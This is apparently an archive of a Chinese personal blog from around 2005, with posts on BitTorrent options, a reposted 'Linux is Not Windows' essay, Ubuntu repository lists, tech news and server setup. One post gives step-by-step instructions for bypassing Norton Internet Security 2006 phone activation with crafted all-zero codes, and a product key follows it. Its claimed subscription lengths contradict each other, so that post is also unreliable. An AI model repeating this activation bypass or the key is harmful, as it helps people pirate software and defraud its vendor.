最大可用的端口,同上(比如20000)
 
--saveas
设置本地的下载位置
 
--check_hashes
如果你是在做种,开始前把参数设置成0以不检查文件的完整性。
 
--max_upload_rate
限上传速度,以KB为单位,0指无限上传
 
 
 
 

CSI...

| | Comments (0) | TrackBacks (0)
00000.jpg
 
只不过想看CSI,居然如此痛苦。。。。

Linux is Not Windows

| | Comments (0) | TrackBacks (0)

If, as I do, you spend any amount of time on a Linux forum, you'll eventually grow exasperated, as I did, by the number of posts that run something like this:

"Hi! I've been using Linux for a few days, and it's mostly great. But, it's a shame that [something or other] doesn't work like it does on Windows. Why don't all the developers completely rewrite all the software so it acts more like Windows? I'm sure Linux would get lots more users if they did!"

You may even have had a go at answering these questions, only to be shot down in flames by a Linux newbie who takes it as read that his idea, based on years of experience with a different OS plus a few hours on Linux, is revolutionarily brilliant, and you only don't like it because you're an "old-school Linux user" who thinks that GUIs are the spawn of the Devil and everybody should be forced to stick to the CLI.

This article is aimed at explaining to those newbies exactly why their ideas tend to get flamed rather than embraced.

First and foremost, the most cherished argument: "If Linux did this, it would get lots more people converting from Windows!"

So, allow me to explain something that is fundamental to understanding Linux: The Linux community is not trying to provide the average Windows user with a replacement OS. The goal of Linux is not "Linux on every desktop".

Really. It honestly isn't.. Yes, they're both an OS. Yes, they can both be used for the same things. But that makes Linux an alternative, not a replacement. It might seem an insignificant distinction, but it's actually a vitally important one.

Linux <=> Windows is like Motorbikes <=> Cars: Both are vehicles that get you from A to B via the roads. But they're different shapes, different sizes, have different controls, and they work in fundamentally different ways. They are not freely interchangeable. They have different uses and different strengths & weaknesses, and you should pick whichever is appropriate, not pick one and expect it to do everything that the other can do.

Somebody who drives a car might be sitting in a long queue of traffic someday and see a motorbike go sailing past him. He might envy the biker's ability to largely ignore something that is a crippling problem to a car. If that driver then said "I know all about cars, so I must know all about motorbikes!" then he'd be wrong.

  • If that driver bought a bike and then found that he was confused by the accelerator being a hand-controlled twist-grip instead of a foot-controlled pedal, he might complain that motorbikes should be fitted with a gas pedal.
  • If that driver had a wife and two kids, he might find the bike's single passenger capacity a flaw. He might suggest that bikes be re-built so they could carry four people, two abreast.
  • If that driver were to try and drive away, only to find that he fell over because he wasn't used to having to keep balance, he might suggest that bikes should be re-designed with four wheels.
  • If the driver were to find himself leaning around the corners, he might suggest bikes should be fitted with stabilisers to keep them upright when cornering.
  • If the driver wanted to keep his bike from being stolen, he might complain that there were no doors to lock potential thieves out, making his bike much more likely to be stolen than a car.
  • If the driver found a crash helmet an encumberance, he might suggest that an airbag in the bike's handlebars could be fitted as an alternative to the annoying helmet.

And in every case, he would be wrong. Because he thinks that a motorbike replaces a car, he thinks it can and should do everything a car can do. He thinks it can work in the same way that a car does, that 'missing' car features can just be grafted on.

In the same way, well-meaning Linux newcomers make suggestions about making Linux more like what they're used to. And they get nowhere, for all the same reasons. Linux and Windows might both be used for the same purposes, but so are a car & motorbike. That doesn't mean you can swap directly from one to the other, and it doesn't mean features can or should be swapped directly from one to the other.

Too many people think that migrating from Windows to Linux is like switching from a BMW to a Mercedes. They think that the controls should be the same, their experience should transfer directly, and all differences should be largely cosmetic. They think that "I need a car to use a road, I need an OS to use a computer. Cars all work the same way, therefore OSes should all work the same way." But this is not accurate. "I need a vehicle to use a road, I need an OS to use a computer. I know how to drive a car, I'm ignorant about motorbikes. I know how to use Windows, I'm ignorant about Linux." - this is accurate.

A Windows user must realize that he's only an experienced Windows user, not an experienced computer user; just like a car driver is only a car driver, not an all-road-vehicles driver. A Windows user on Linux must realize that he has just become a novice again, just like a car driver on a motorbike. A Windows user must be willing to learn that there are different ways of accomplishing the same task, just as a car driver must get used to the handlebars replacing a wheel and the need for a crash helmet he never had to use before. And they have to be prepared to accept that "different" does not mean "inferior".

This simple fact causes great difficulty for the more established Windows users. They come to Linux with many Windows habits ingrained and an attitude of "I know exactly how to use a computer, thank you very much." The problem is, they don't. They only know how to use Windows. When they come to a different OS, these "power users" can be the ones who have the worst problems: They have far more to unlearn.

Where a newbie will just say "I don't know" and start exploring or asking on forums, the Windows Power User will say "I know how to do this, I just do this, this, this, and then. . . It doesn't work! Stupid OS!" And then they'll say "If knowledgeable me couldn't get it working, a newbie will stand no chance! Linux is nowhere near ready for desktop use!". They don't realise that all their knowledge is working against them, causing them to have more problems than the less knowledgeable users. They've made the mistake of thinking Linux is different software doing the same thing as Windows, when it's actually different software doing different things. It's not doing a bad job of the same tasks, it's doing a good job of alternative tasks.

Linux is an alternative to Windows, but not a replacement. It will never be a replacement, because it has incompatible goals. Microsoft's goal is to get their software onto as many PCs as posible, as their priority is profit. Linux has no such goal, because Linux is free. It has a different priority.

To understand this is to understand FOSS . It's perfectly understandable that Linux newbies don't understand it yet - they're new to it. They're used to thinking in terms of proprietary software. So let me explain it:

Typical FOSS software is created by somebody who looks around, doesn't find any pre-existing software he likes, and so writes his own. Then, because he's such a nice guy, he throws open the source and says to the world "Help yourself!". He can do this, because it costs nothing to duplicate software, so it costs him no more to give it to the whole world than it would to keep it to himself. He doesn't suffer by giving his software away.

However, the important thing to remember is: He doesn't benefit from giving his software away, either. Whether it gets used by one person, or by one billion, makes no difference to the developer. Oh, sure, he gets the satisfaction of knowing he's made a popular product: The number of people using it can be a nice ego boost; a way, if you will, of keeping score. But it doesn't make him any money: It's FOSS.

If the software is a success, other people get interested in it, and they help improve it. That's the biggest advantage of FOSS: Every user is a potential developer. Everybody can chip in and do their part in making software work better, do more, be less buggy. It's great when a piece of software attracts a community of developers. But it's great for the software. It makes the software better. It doesn't make the developer richer. It just creates more demands on his time.

FOSS is the exact opposite of proprietary software like Windows: FOSS is all about the software. It's not about the number of end users. Software that works well but has only a few users is considers a failure by commercial software standards, but a success by FOSS ones.

FOSS is about making good quality software, software that can DO things. If you want to use it, you're expected to invest time in learning how to use it. It was created and given to you, free of charge, by people who invested a lot of their own time in it for no personal gain. The least you could do to repay their contribution is invest a little time of your own before you complain that it doesn't work like the parallel Windows software.

"Aha, now I've got you,"says a newbie smugly. "There are Linux projects with the goal of replacing Windows, not just being an alternative."

It's easy to see where that idea comes from. KDE and Gnome, for instance, provide a desktop environment that's far more Windows-like than typical Linux window managers and the CLI. Linspire is a distro based almost entirely around the idea of making Linux Windows-like.

However, paradoxically, these prove my point better than they prove the newbie's.

Why? Because these projects are normal FOSS projects, revolving entirely around making the software better. The only difference is, one of the definitions of quality in these projects is "How easily can a Windows user use it?"

As soon as you factor this in, you can't help but agree that these are 100% typical Linux, with the sole aim of improving software. These are projects made by even-more-selfless-than-usual Linux developers: They aren't making software for their own use, as they know Linux very well. Instead, they're making software entirely for other people's benefit: Software that makes the transition from Windows to Linux easier.

These developers have recognised that there are Windows users who want to move to Linux, and they've put a lot of effort into creating a Linux environment which Windows users find comfortably familiar. But they haven't done so to try and replace Windows, though the end result might give that impression. The end goal is what makes the difference: The goal is not to make a Windows replacement; the goal is to ease the Windows-user's transition to Linux.

It's not uncommon to see community hostility towards these projects. Some of it for rational, understandable reasons ("KDE is a resource hog, so use Fluxbox") but some seems to be an irrational, hostile, "Windows-like software is bad" attitude. This isn't, actually, an anti-MS or anti-Windows attitude. Instead, it's the far more compehensible dislike of what isn't understood.

The 'typical' Linux user is a hobbyist: He uses computers because computers are fun, programming is fun, hacking is fun. And Linux is a far better OS for a hacking hobbyist: He can take it apart to its most fundamental level, and reassemble it exactly as he sees fit.

However, the current influx of Linux users has a large percentage of non-hobbyist non-hackers. They want a computer that Just Works, a computer that works like Windows. They aren't interested in spending time setting up Linux to make it work the way they want it, they want it to work like that out-of-the-box.

And that's perfectly okay, but from the typical Linux user's perspective, this is like somebody who wants a Lego car that comes pre-assembled and glued together so it can't come apart. It is alien to their understanding. The only way they can react is with a baffled "Why would anybody want that?"

It's baffling. If you want a ready-made model car, buy a toy car. If you want a car you can build and take apart, buy Lego. Why would anybody want a Lego car that can only be used as a toy car? The whole point of Lego is that you have fun assembling it yourself!

This is how a typical Linux user reacts to the "Why can't it Just Work?" brigade: "If you want it to Just Work, use Windows. If you want to hack it, use Linux. Why do you want to switch to Linux if you have no interest in taking advantage of its open source nature?"

The answer, usually, is that they don't actually want to move to Linux. They just want to get away from Windows: They're running away from viruses; they're fleeing malware; they're striving to be free of restrictions on how they use their paid-for software; they're trying to escape from the clutches of the E.U.L.A. They aren't trying to get into Linux, they're trying to get out of Windows. Linux is simply the best-known alternative. 

More on that later. . .

You might think "Okay, that explains why developers don't make a deliberate effort to make their software work like Windows. But surely Linux software could be given a GUI that's WIndows-user-friendly without it interfering with FOSS principles?"

There are a few reasons why this isn't the case.

Firstly: Do you really think that somebody who creates a piece of software deliberately gives it a lousy user interface?

When somebody devotes a large chunk of his own time to create a piece of software, he will make the user interface (UI) as good as possible. The UI is a hugely important part of the software: there's no point having functionality if you can't access it via the UI. You might not know what it is, but there is always a reason why the UI works the way it does. That reason? Because it is the best UI the creator could create.

Before you insist that a more Windows-like UI would make the software better, bear this fact in mind: The creator of this software, a coder who, by definition, knows far more than you do about this piece of software, doesn't agree with you. He might be wrong, but the odds are against it.

Secondly: There already ARE nice, Windows-user-friendly GUI frontends available. I can't think of any function off the top of my head that you can't control via a GUI, no matter how high-level. You can compile a kernel (make xconfig), set up your firewall (fwbuilder), partition your hard drive (qtparted). . . it's all there, pretty, interactive, intuitive, and user-friendly.

But the 'release cycle' of Linux isn't like Windows. You don't get the finished, highly-polished GUI package released right from the start. GUIs add complexity and no functionality to software. A developer doesn't sit down and design a pretty GUI that does nothing, he sits down and creates a piece of software that does what he needs it to do.

The first thing a piece of software does is be usable from the command line interface (CLI). It will probably have all sorts of invocation options and maybe a lengthy configuration file. This is how it starts out, because it's functionality that's required. Everything else comes later. And even when software has a nice GUI, it's important to remember it can still usually be controlled fully from the CLI and the config files.

  • This is because the CLI has many advantages: The CLI is universal. Every Linux system has a CLI. Every executable can be run from the CLI. It's easy to operate software via the CLI remotely.
    None of these are true of the GUI: Some Linux machines don't have the X11 windowing system installed; Some software has no GUI; Some software is not available from GUI menus; It's often not easy or practical to use a GUI tool remotely.

Lastly, multiple GUI frontends can exist to do the same job, and there's no telling which you may have installed.

So do remember, if you ask "How do I. . ?", you'll mostly be told how to do it via the CLI. That doesn't mean that it can only be done from the CLI. It just reflects the relative importance that the GUI has compared to the CLI in the development of a software project.

  • Windows is totally GUI-centric. It's a GUI-based OS with a lousy (but soon to improve) CLI. There's pretty much no such thing as non-GUI Windows software. That tends to make people think of the GUI as a vital and integral part of software. But in Linux, software gets released as soon as it's functional. Only after it's become stable, reasonably bug-free, and feature-rich, does it become worth adding a GUI.
    Try thinking about software without a helpful GUI as a "sneak preview" rather than a finished product. FOSS is very rarely 'finished', it's always being improved. In time, it will be made user-friendly. But most of the time, it's more important to make it work better than make it 'feel' better. Be glad you've got the functionality long before all the wimps who need a good GUI, instead of demanding tomorrow's software today. FOSS is more of a journey than a destination.

The last thing you have to bear in mind is, GUIs for software will often be a separate piece of software. It may even have been developed completely independantly of the original piece of software, by completely separate developers. If you want a GUI, it's not unlikely that it will be a separate installation, rather than all one piece.

This does, admittedly, mean an extra step to get that elusive, 'Windowsy' GUI behaviour, but that shouldn't detract from the fact that you can, right now, do just about anything you really want to via a pretty, "just like Windows" GUI. You just have to remember: a GUI is usually the LAST step, and not the first. Linux doesn't do form over function.

Thirdly: Linux is deliberately designed for the well-informed, knowledgeable user, rather than the ignorant beginner. This is for two reasons:

  • Ignorance may be bliss, but it's also short-lived. Knowledge is eternal. It might take days, weeks, or months to get your knowledge level up from "Linux newbie" to "average Linux user", but once it's there, you've got years of Linux use ahead of you.
    Putting in lots of code to make software easier for newcomers would be like permanently bolting stabiliser wheels to all bicycles. They might make it easier right at the start, but after that. . ?
    You wouldn't buy a bicycle with stabilisers on it now, I'm sure. And not because you're some anti-user-friendly freak. No, it would be because they're useless to you, and useless to anybody other than a beginner, and all they'd do is get in the way.
  • No matter how good software is, it's only as good as its user. The most secure door in the world is no barrier to thieves if you leave the window open, the door unlocked, or the keys in the lock. The most perfectly-tuned engine in the world won't get very far if you fill it with diesel fuel instead of petrol.
    Linux puts all power in the hands of the user. That includes the power to break it. Nobody wins in that situation. The only way to keep Linux working well is to learn enough to know what you're doing. Making it easier for a user to meddle with functionality he doesn't understand would just make it more likely he'll break something by accident.

Fourthly: Where, in any of the above text, did you see a way that FOSS would actually benefit from attracting lots of typical Windows users?

Take your time. Re-read it, if you like. I'll wait.

The guiding principle of Linux and FOSS is "make good software". It is not "Make Windows-replacing software". The only thing a horde of typical Windows users will contribute to Linux is complaints. What will they complain? "It doesn't work like this on Windows."

No, it doesn't. If it worked like Windows, Linux would suck. It would be an inferior copy that nobody would use. The reason people are so passionately fond of Linux is that it doesn't work like Windows. It doesn't do everything for you, it doesn't assume you're a perpetual ignorant newbie, it doesn't hide all the inner workings from you.

Windows chauffeurs you around; Linux hands you the keys and puts you in the driver's seat. If you can't drive, that's your problem. And your fault. Plenty of people will help you learn if you ask. And if you make a suggestion that's the equivalent of fitting cruise control, you might get somewhere: This leaves the driver in control, but takes some of the effort out. But you'll get very short shrift if you try and convince anybody that what Linux really, really needs is a chauffeur.

"But it would get Linux so much more mainstream!", the newbie cries.

It might well do. But how many Linux developers would benefit from Linux going mainstream? Linux is free, as in beer. None of the people creating Linux profit from it gaining a bigger userbase. None of the people on the Linux forums profit from it gaining a bigger userbase. Linux's aim is not "gain a bigger userbase" - that's the goal of proprietary software.

Linux's goal is to make a really good operating system. Developers are busy adding features, removing bugs, and improving existing implementations. They're not busy putting up billboards advertising how good their stuff is. That should tell you something about where their priorities are.

And look at what this approach has done to Linux's userbase: It's made it grow. Linux started out tiny, and has become huge. The reason it has attracted such widespread acclaim? Because its focus has always been on quality. The users attracted to Linux are users who want the freedom and quality that only FOSS can give them. Linux became big because it didn't care how big it got. Developers focussed solely on making it work, and work well, and so they attracted users who wanted an OS that worked, and worked well.

To suddenly throw that all away and focus instead of making Linux all about replacing Windows would be to kill the very thing that has made Linux what it is. There are corporations out there that have seen Linux's growth, and want to cash in on it. They're frustrated by the GPL, which makes it very hard for them to sell Linux at Microsoft prices. "Linux will die if it stays open," they say, "as nobody can make money off it like that."

They don't realize that making Linux proprietary would be killing the goose that lays the golden eggs. Linux became big because it was FOSS, and nobody was trying to make it a Windows substitute. Linux is thriving because it's fighting Windows on a front that Microsoft can never defeat it on: Open-ness and quality.

To most Windows users, Linux is an inferior Windows copy. It has less apparent functionality, less integration, and lots more complexity. To that type of user, Linux is seen as a bad OS. And correctly so: It doesn't meet their needs. Their needs are an OS that's very simple to use and does everything without them needing to learn anything.

Windows is created for non-tech users. The widespread perception amongst those users is that Linux is hard to use. This is not the case, but it's an understandable misconception.

Linux is actually blissfully easy to use. Genuinely. It is really easy to use. The reason it isn't perceived this way? Because the term "ease of use" has been so badly distorted. In common usage, "easy to use" now means "easy to do something without knowing beforehand how to do it". But that's not really "easy to use", is it? That's "easy to figure out". It's like the difference between:

  • a safe with a notice above it saying "You unlock this safe by turning the dial to 32 then 64 then 18 then 9, then turn the key and lift the handle up"
and
  • a car that can be unlocked by pressing the remote control "unlock" button.

It's far easier to unlock the car, right? One button from anywhere near the car, opposed to numerous highly-specific dial-turns. However, it's easier for somebody who doesn't know how to unlock either to get the safe open than the car: the safe has clear instructions in place, while the car just has buttons that aren't even attached to the car.

Linux is the same. It's easy to use if you know how to use it. It's easy to use, but it's not always easy to learn. Only if you are willing to invest the time in learning Linux will you find it easy. Inescapably, the more you break a task down into simple steps, the more steps you have to take to accomplish that task.

As a really simple example, take this arbitrary exercise: You want to move five lines (paragraphs) from the middle of a text document to the end.

In MS Word; MS WordPad; or MS Notepad; all "user-friendly" Windows text editors, the quickest way to do this is:
- Ctrl-Shift-Down
- Ctrl-Shift-Down
- Ctrl-Shift-Down
- Ctrl-Shift-Down
- Ctrl-Shift-Down
- Ctrl-X
- Ctrl-End
- Ctrl-V

(That's assuming you use the keyboard. Otherwise, you need some Click-and-Drag mouse operations and a reliable autoscroll.)

In vi, however, it is:
- d5d
- Shift-g
- p

Vi, which is about as "user-unfriendly" as it gets, beats Microsoft's offerings hands down. Why? Because vi was designed for functionality, while Microsoft design to be "user-friendly". Microsoft break everything down into easy steps, and so it takes far more steps to accomplish the same task.

This makes vi far quicker and easier to use for virtually all text-editing tasks. Just so long as you know how to use it. If you don't know "d5d" means "Place five lines of text in the buffer, and delete them from the document" then you're going to struggle to make vi work. But if you DO know, then you're going to fly along.

So when some newbie sees how fast and easily an experienced vi user can do stuff, he readily agrees that vi is superior to Word for text editing. Then he tries to use it himself. He starts it up, gets a screen full of ~s, and when he types, nothing appears on the screen.

He finds out about the text-entry and command modes, and starts trying to use vi with a limited knowledge of it's functions. He struggles, as there are so many things he has to learn before he can make vi work. Then he complains "vi would be much better if it was as easy to use as Word!"

But the real problem is "I don't know how to use vi and can't be bothered to learn." But that would mean the problem was with him, so he blames his problems on the software instead. Never mind all the thousands of people who are happily using vi without any problems: It's too hard to use, and must be changed!

And believe me, if he can make a text editor that is as "user-friendly" as Word and as functional as vi, he'll be met with nothing but applause. In fact, he'll probably be awarded the Nobel Prize For Extreme Cleverness, as nobody else has been able to do it yet. But just whining about vi being hard to use will be met with derision, because there's no problem with vi, the problem is with him.

It's like buying da Vinci's painbrush and then complaining that you still can't paint. The brush wasn't what made the Mona Lisa, it was the skill of the artist. The brush is a tool that relies on the user's skill. There's no way to get that skill other than practice.

Same with vi. Same with many pieces of Linux software that new users complain is "too hard" or "not intuitive enough", whether they're talking about a text editor, a package manager, or the command line itself.

Before you start insisting that something about Linux needs fixing, there's one important question to ask: "Do experienced users have a problem with this?"

If the answer is "No", then the problem is on your end. If other people can use it successfully, why can't you? Have you taken the time to learn how to use it? Or did you just expect it to work for you right from the word 'Go'?

"User-friendly" and "raw functionality" are exclusive. All the little buttons and drop-down menus that are vital to make a piece of software simple to use are just obstacles that get in the way of the experienced user. It's the difference between navigating from A to B with a map & compass, and going from A to B by following the road signs: Anybody can get there by following the signs, but they'll take twice as long as somebody who knows how to go straight there.

 

If I want to paste the value of a formula in Excel, I have to do it via the Edit->Paste Special->Paste Values menus. I don't want to navigate through all these pain-in-the-rear 'friendly' menus, sub-menus and dialogue boxes. I just want to do it. And, to be fair, if I reprogram the shortcut keys and record some macros, I can make Excel and Word do most things at the push of a button.

But that's not really user-friendly, is it? That's still requiring the user to invest a lot of time in the software. Linux requires you to put the time in to learn how to use the existing functionality. "User-friendly" software makes you put the time in to creating the functionality.

If that's the way you prefer it, that's fine, go ahead and do it that way. But don't ever lose sight of the fact that the fault lies with your ignorance and not with the software itself. All Linux software is supremely easy to use, once you know how to use it. If you don't know, it won't be easy, and it won't be because the software is at fault.

Now, you might be starting to feel that Linux has an attitude problem. It doesn't want users, it doesn't want to make life easy for its users. . . it's just for snobbish l33t h4xx0r5!

Nothing could be farther from the truth. Of course Linux wants users! And of course it doesn't want to make things hard. Quite the opposite: Hard to use software is, by definition, bad software.

But you have to realize, its definitions may be different to yours, and different to the 'traditional' proprietary software culture.

Linux wants users who want Linux. And that doesn't mean just the name. It means everything: The free, open-source software; the ability to tinker with your software; the position of being in the driver's seat, in total control.

That's what Linux is. That's what it's all about. People migrate to Linux because they're sick of viruses, sick of BSODs, sick of spyware. That's understandable. But those people don't want Linux. They really just want Windows without the flaws. They don't really want Linux. So why should Linux want them?

But if they give Linux a try because of viruses and spyware, and then decide that they love the idea of an OS that they control. . . That's when they want Linux for its own sake. And that's when Linux wants them.

Before you decide you want to switch to Linux, ask yourself "Why do I want to switch?"

If the answer is "I want an OS that puts all the power in the hands of the user and expects him to know how to use it": Get Linux. You'll have to invest a substantial amount of time and effort before you get it to where you want it, but you'll eventually be rewarded with a computer that works exactly the way you want it to.

BUT. . .

If the answer is "I want Windows without the problems": Do a clean install of Windows XP SP2; set up a good firewall; install a good anti-virus; never use IE for browsing the web; update regularly; reboot after each software install; and read about good security practices. I myself have used Windows from 3.1 through 95, 98, NT, and XP, and I have never once had a virus, suffered from spyware, or been cracked. Windows can be a safe and stable OS, but it relies on you keeping it that way.

If the answer is "I want a replacement for Windows without the problems": Buy an Apple Mac. I've heard wonderful things about the Tiger release of OS X, and they've got some lovely-looking hardware. It'll cost you a new computer, but it'll get you what you want.

In either case, don't switch to Linux. You'll be dissapointed with both the software and the community. Linux is not Windows.

 

 

Leggenda del pianista sull'oceano

| | Comments (1) | TrackBacks (0)
pianio.gif
 
海上钢琴师,刚刚看的电影。
让人忘记不了这种眼神,所以我抓了下来。强烈推荐
 
生于船,
长于船,
死于船,
这是一个虚幻的奇迹,一个伤感的故事,也是一个关于他的传奇。
大海、轮船、钢琴、陆地、孤独、友情与天才交织的故事。
孤独,自从他被抛弃在维珍尼亚号开始就注定了他一生的悲剧,
乐者,自从在丹尼的海葬听到音乐时就注定与音乐的一生纠缠,
传奇,自从他无师自通流出的第一首曲就注定了他一生的传奇,
他有个好长的名字叫【丹尼·伯特曼·T·D·林蒙·1900】。

贴一下ubuntu的source

| | Comments (0) | TrackBacks (0)
中文ubuntu的速度实在难以忍受,大部分时间在5k一下。这次重新配置服务器,用的英文版的source,结果发现速度居然能到90,大部分时间可以到150左右。
还是国外的好啊
#deb cdrom:[Ubuntu-Server 5.10 _Breezy Badger_ - Release amd64 (20051013)]/ breezy main restricted
 

#deb ftp://ftp.sjtu.edu.cn/sites/archive.ubuntu.com/ breezy main restricted universe multiverse
#deb ftp://ftp.sjtu.edu.cn/sites/archive.ubuntu.com/ breezy-security main restricted universe multiverse
#deb ftp://ftp.sjtu.edu.cn/sites/archive.ubuntu.com/ breezy-updates main restricted universe multiverse
 
#deb ftp://ftp.sjtu.edu.cn/sites/ubuntu.org.cn/ubuntu/ breezy main restricted universe multiverse
#deb ftp://ftp.sjtu.edu.cn/sites/ubuntu.org.cn/ubuntu/ breezy-security main restricted universe multiverse
#deb ftp://ftp.sjtu.edu.cn/sites/ubuntu.org.cn/ubuntu/ breezy-updates main restricted universe multiverse
 
deb http://us.archive.ubuntu.com/ubuntu breezy main restricted
deb-src http://us.archive.ubuntu.com/ubuntu breezy main restricted
 
deb http://us.archive.ubuntu.com/ubuntu breezy-updates main restricted
deb-src http://us.archive.ubuntu.com/ubuntu breezy-updates main restricted
 
 
# deb http://cn.archive.ubuntu.com/ubuntu breezy-backports main restricted universe multiverse
# deb-src http://cn.archive.ubuntu.com/ubuntu breezy-backports main restricted universe multiverse
 
deb http://security.ubuntu.com/ubuntu breezy-security main restricted
deb-src http://security.ubuntu.com/ubuntu breezy-security main restricted
 
deb http://security.ubuntu.com/ubuntu breezy-security universe
deb-src http://security.ubuntu.com/ubuntu breezy-security universe

喜欢的签名档

| | Comments (0) | TrackBacks (0)
当年混迹于ytht时使用的签名,到现在也非常喜欢。
 

生当尽欢死无憾
恩仇交错英雄气概
浪迹天涯
难解心中怨
 
饮不尽杯中酒
杀不尽仇人头
红颜知己
倚窗为谁愁

大师之路又更新了。。。

| | Comments (0) | TrackBacks (0)
我上次同步完成之后,今天看看。又一次更新了。。。
似乎增加了很多内容。。。
 
只能再来一次了。。

明天要下雪

| | Comments (0) | TrackBacks (0)
明天似乎要下雪,天冷了。大家注意身体
 
 
Image00046.jpg
 
Norton Internet Security 2006 Phone Activation Method
 
this works with any language versions i guess as this works well for the traditional chinese version as ppl said in the forums and i've tried using this method successfully by using an english version either.
 
IN ORDER TO COMPLETE THE ACTIVATION PROCESS, YOU MUST HAVE A RETAIL VERSION WHICH ALLOWS YOU TO SELECT PHONE ACTIVATION AFTER CONNECTION FAILED.
 
Step 1: install the prog. with any valid serial, you may also use this Chicken Link
Step 2: disable the network settings and jump into the page for phone activation.
Step 3: Type '0' for all of the spaces provided for the activation key except the last three ones which have to change into 365. (e.g.: 000000,00000,00000,00000,000365)
when you do the activation put 999 when you put 365 and you get subscription for 2457 days. wow this is great. tested and works
 
You can now enjoy an activated version with 869 days' subscription. It's really a mystery for the activation key but it really works. It's working on LiveUpdate and no popup windows appears on the screen.
 
 

DO NOT LOOSE THIS PRODUCT KEY
 
You must use it when you install this software.
This product will stop working in 15 days if it is not
activated with the key below.
 
Product Key: JGG84-8YM4W-KPPCR-QXRJJ-XBFFK
 
 
 
 

安装mt的可选组件

| | Comments (0) | TrackBacks (0)
重新配置了系统。发现mt的缩略图功能不能用。
运行mt-check.cgi。发现HTML::Entities和Image::Magick以及XML::Atom没有安装。
 
配置了n长时间,自己也重新编译了n次。始终不成功。。。
 
后来偶然发现ubuntu有了包搜索引擎,搜索。
 
然后,发现安装
perlmagick
libxml-atom-perl
这2个包就可以了:)

移动的网站改版了。

| | Comments (0) | TrackBacks (0)
今天登陆移动检查花费,发现变成了下面的样子。原来移动对话费查询的安全性又作了一次改进。
也就是你不管干什么,都会收到验证马,然后才能进行。。
不过,我查询一个话费,收到了5条短信。。烦啊。。
 
Image00041.jpg
Image00042.jpg Image00043.jpg Image00044.jpg

AMD跨入10大半导体厂商行列

| | Comments (0) | TrackBacks (0)
Theinq报道,市场研究公司Isuppli在一份报告当中指出,Intel继续领先其它半导体厂商,今年盈收达到358亿美金。
 
Isuppli的这份报告指出,尽管AMD在处理器业务上大幅度成长,但是Intel在盈收上继续领先AMD,领先幅度达到11.8%。
 
Isuppli估计2005年全球芯片业务盈收2733亿美金,比2004年提升4.5%。
 
除了Intel盈收位据第一外,其它九大半导体厂商盈收排位依次是三星、德州仪器、东芝、ST微电子、英飞凌、Renessas、飞利浦和AMD。AMD在今年首度杀入半导体厂商盈收排位前10名。AMD在2004年的排位是第11名。
 
Isuppli统计排位当中进步最显著的是IBM,芯片盈收在今年成长30%,IBM今年排位挤入前20。ATi今年排位25名,nVIDIA今年排位24名。

微软取消Vista beta2

| | Comments (0) | TrackBacks (0)
Theinq今天报道,微软为了加速新一代操作系统Windows Vista推出速,已经决定取消Windows Vista beta2测试,直接使用CTP(Community Technical Preview)版进行测试,一直到明年3月份拿出Windows Vista RC0(Release Candidate 0)。
 
根据Windows专业人员透露,微软已经决心在第3季度完成Windows Vista全部代码,因此微软决定取消beta2测试阶段,以加速Windows Vista推出速度。
 
微软之前否认beta2取消,但是微软Windows核心操作系统负责人Amitabh Srivastava表示,beta版本已经不再急迫,因为微软采用新的工程处理,同时CTP版本反馈也非常良好。实际上,微软Vista已数度延期,显然微软希望快马加鞭,避免Vista再度延期,微软员工也希望明年圣诞节可以拿到Vista奖金。

重新配置了服务器

| | Comments (0) | TrackBacks (0)
这两天把服务器重新配置了一下。
以为以前配置过,这次应该没有问题。结果还是发现有不少的问题。。
首先遇到的,就是我的2颗op 的cpu,只能识别1颗。
还有关于mt的一些增强功能的配置,vsftp虚拟用户,awstats的配置。
当时虽然配置过,也记录了下来,但blog的迁移,导致了部分数据丢失,遇到的错误的解决方法也忘记了,只能重新来。。。
 
今天居然是自己重新编译了几个包,然后安装,来配置mt。。晕了。。
等正常后,把完整的配置说明放上来。。
 
ps:mt迁移真的很方便。。。

Intel放弃Pentium品牌?

| | Comments (0) | TrackBacks (0)
这已经不是第一次听说Intel要放弃Pentium了,Register援引日本PC Watch的一篇报道称Intel将弃用Pentium品牌,未来的Merom和Conroe内核处理器将不会再使用Pentium品牌。有趣的是,取而代之的是"Intel Core",以表明以上处理器将采用不同于Pentium处理器的NetBurst架构。
 
对于广大用户而言,Intel core也许不是一个熟悉的名称,Pentium的中文译名奔腾似乎更有气势,但是未来强调平台策略的Intel似乎是有意淡化单独处理器的品牌,未来更为我们熟知的也许是类似Centrino(迅驰)这样的平台。
 
目前对此Intel没有发表任何评论,但是从逻辑上来说,这个结果也许是合情合理的。首先,对于处理器而言,有单双内核之分,有HT/无HT之分,有64bit和32bit之分,因此实际上以架构来作为品牌区别更为合适,又或者说将不同的平台作为品牌,例如Centrino或者未来的Viiv。不过个人认为,Intel core实在是一个太过简单的品牌。